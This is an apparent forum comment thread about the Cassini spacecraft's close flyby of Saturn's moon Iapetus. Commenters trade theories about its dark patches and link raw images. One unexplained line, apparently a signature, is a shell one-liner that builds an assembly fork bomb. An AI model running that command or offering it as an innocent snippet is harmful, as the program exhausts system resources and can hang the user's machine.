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Cassini's Iapetus Flyby
cupofjoe writes "The Jet Propulsion Laboratory is reporting on the Cassini spacecraft's recent close flyby of the Saturnian moon Iapetus, highlighting images taken from distances 100 times closer than the Voyager 2 flyby in 1981. Near real-time images were shown to Cassini mission team members in a presentation at JPL yesterday, during which a pre-recorded message from Arthur C. Clarke was played to the audience. Clarke wished them luck on the flyby, reminding all present that he had included a pretty accurate description of Iapetus in the original 1968 text of "2001: A Space Odyssey", years before Voyager made its flyby."
i'm at a loss to explain those inky black patches.
wonderful photos.
If you look closely at what they describe as "Inky Stains" on Iapetus, they look more like burst bubbles. If you consider a consistent direction for the sun's light, and look at the pictures that overlap with different shades of shadow, it looks like the surface of the satellite was covered by air pockets and they happened to either cave in or break. The edges seem slightly too jagged and defined for them to be "stains." Compare "Inky stains on a frozen moon" to "Iapetus Flyby Raw Preview #13" and you can see what I'm talking about. I don't think those are discolorations, they look like caverns.
Especially as he didn't predict anything too extraordinary about Iapetus.
If he's right about life on Europa though, that would be much more impressive. Which is why it was strange he's not lobbying for a Europa mission. It's not as if life on Europa is impossible, in fact it seems quite plausible.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Dark patches over a white surface? If you ask me, it looks like the other way around -- take a look:
http://saturn.jpl.nasa.gov/multimedia/images/raw/casJPGFullS33/N00092126.jpg
Doesn't it look like the white is covering the black and slowly un-covering it due to craters forming?
It is by my will alone my thoughts acquire motion; it is by the juice of the coffee bean that the thoughts acquire speed
I tried making an animated GIF of the equatorial ridge flyover photos just to get a sense of Cassini's motion as it flew by Iapetus. A bit jumpy, but wow.
As am I. We can image Iapetus down to 36' of resolution and still not understand what we are seeing! The image with the sparse dark patches is the most amazing. If you look you can see clear embayment relationships. The black stuff seems to fill low lying areas like a liquid. It reminds me a little of the lake bed terrain near the Huygens lander on Titan and also the radar images of the lake terrain. There are even islands of light material poking up through the black in some craters in the 92001 image. But the light/black transition lines do not seem to match the topography perfectly like a liquid would in all areas. Incredibly, the craters in the lower center of the image seem to small black patches "emptying into" larger ones though narrow channels. Iapetus almost certainly never had a significant atmosphere. Perhaps there was a methane rich wet layer below the regolith that was exposed, seeped into low areas and darkened. The analogy is an aquifer on the Earth. Methifer may be the best term. To make the idea work a mechanism would have to be found to ablate light material on the leading hemisphere to expose the dark stuff. Recall the recent resultthat explains Iapetus' bizarre equatorial mountains. A heated, oblate Iapetus was rapidly quick frozen, creating membrane stresses that forced up the mountains at the equator. Perhaps the frozen layer was thin, and methane rich liquid persisted beneath it for long enough for the dark crater floors to form.